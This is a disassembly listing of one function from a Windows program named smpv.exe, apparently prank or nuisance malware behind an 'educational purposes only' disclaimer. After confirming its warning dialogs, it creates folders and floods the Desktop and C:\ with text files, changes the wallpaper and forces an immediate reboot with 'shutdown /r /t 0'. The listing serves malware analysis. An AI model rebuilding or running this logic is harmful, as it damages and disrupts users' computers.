Function at 0x140002b50
Capabilities:
Create directory
Execute command
Query environment variable
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x130], rax
lea rcx, str.smpv.exe
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.Initializing...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x131
lea r8, str.WARNING_
lea rdx, str.This_program_is_made_for_educational_purposes_only__everything_that_happens_to_your_device_is_not_our_responsibility
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
je 0x1400030bc
mov r9d, 0x131
lea r8, str.FINAL_WARNING__
lea rdx, str.Make_sure_you_know_what_you_are_doing_because_once_again_we_are_not_responsible_for_what_happens_to_your_device__if_you_change_your_mind_immediately_press_the_CANCEL_button_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
je 0x1400030bc
lea rcx, [0x1400088a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.smpv.exe_Program_Loaded..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Copyright__c__KDXz_2020_2022_All_Right_Reserved_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400088a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Getting_user_path...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140008bd0]
movdqu xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x80], 0
test rax, rax
je 0x140003082
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140004030
nop
lea r8, str.Desktop_
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140004f00
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140003fa0
lea rcx, [rbp - 0x60]
call fcn.140003f40
nop
lea rcx, [rsp + 0x60]
call fcn.140003f40
lea rdx, str.User_path_found_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400088a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Starting_operation..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
lea rdx, str.operation_successful__target_confirmed_n_nMachine_Code:_n
lea rcx, [rbp - 0x20]
call fcn.140004030
nop
mov r14d, 6
nop word [rax + rax]
mov edx, 5
lea rcx, [rsp + 0x40]
call fcn.1400012b0
nop
mov r8, rax
lea rdx, [0x1400089e4]
lea rcx, [rsp + 0x60]
call fcn.140004dd0
nop
lea r8, [0x1400089e0]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140004f00
nop
lea rcx, [rsp + 0x60]
call fcn.140003f40
nop
lea rcx, [rsp + 0x40]
call fcn.140003f40
xor edi, edi
lea rcx, [rbp - 0x60]
call fcn.140003f30
mov rsi, rax
lea rdx, [rbp - 0x80]
lea rcx, [rbp]
call fcn.140004150
nop
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
inc edi
lea rcx, [rbp + 0x20]
call fcn.140002390
lea rcx, [rbp + 0x20]
call fcn.140003dd0
nop
mov edx, edi
lea rcx, [rsp + 0x20]
call fcn.140001290
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.140004dd0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140004f00
nop
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140003d70
nop
lea rcx, [rsp + 0x40]
call fcn.140003f40
nop
lea rcx, [rsp + 0x60]
call fcn.140003f40
nop
lea rcx, [rsp + 0x20]
call fcn.140003f40
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x20]
call fcn.140004db0
mov ebx, 6
nop word [rax + rax]
mov edx, 0x20
lea rcx, [rsp + 0x60]
call fcn.1400012b0
nop
lea r8, [0x1400089f0]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.140004fe0
nop
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140004db0
nop
lea rcx, [rsp + 0x20]
call fcn.140003f40
lea r8, [0x1400089f4]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.140004fe0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004db0
nop
lea rcx, [rsp + 0x20]
call fcn.140003f40
nop
lea rcx, [rsp + 0x60]
call fcn.140003f40
sub rbx, 1
jne 0x140002e80
lea rcx, [rbp + 0x20]
call fcn.140003d30
mov edx, edi
lea rcx, [rsp + 0x40]
call fcn.140001290
nop
lea r8, [0x1400089f4]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140004f00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004db0
nop
lea rcx, [rsp + 0x20]
call fcn.140003f40
nop
lea rcx, [rsp + 0x40]
call fcn.140003f40
nop
lea rcx, [rbp + 0x20]
call fcn.1400022d0
cmp edi, 5
jle 0x140002df3
lea rcx, [rbp]
call fcn.140003f40
nop
lea rcx, [rbp - 0x60]
call fcn.140003f40
sub r14, 1
jne 0x140002d80
lea rcx, [rbp - 0x40]
call fcn.140003f10
nop
call fcn.1400023a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
lea rdx, str.All_files_copied_successfully_to_C:___
jne 0x140002fa8
lea rdx, str.Failed_to_copy_files_to_C:___
call fcn.140004a70
lea rdx, [0x140004c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp - 0x40]
call fcn.140001870
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x140003013
lea rdx, str.All_files_copied_successfully_to_Desktop_
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x40]
call fcn.140002b20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x14000300a
lea rdx, str.Wallpaper_changed_successfully_
jmp 0x14000301a
lea rdx, str.Failed_to_change_wallpaper_
jmp 0x14000301a
lea rdx, str.Failed_to_copy_files_to_Desktop_
call fcn.140004a70
lea rdx, [0x140004c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x1400088a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Operation_Finished_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov rcx, rax
lea rdx, [0x140004c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, str.ERROR___No_User_Path_Found..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
lea rdx, str.Program_Will_be_Terminated._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a70
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3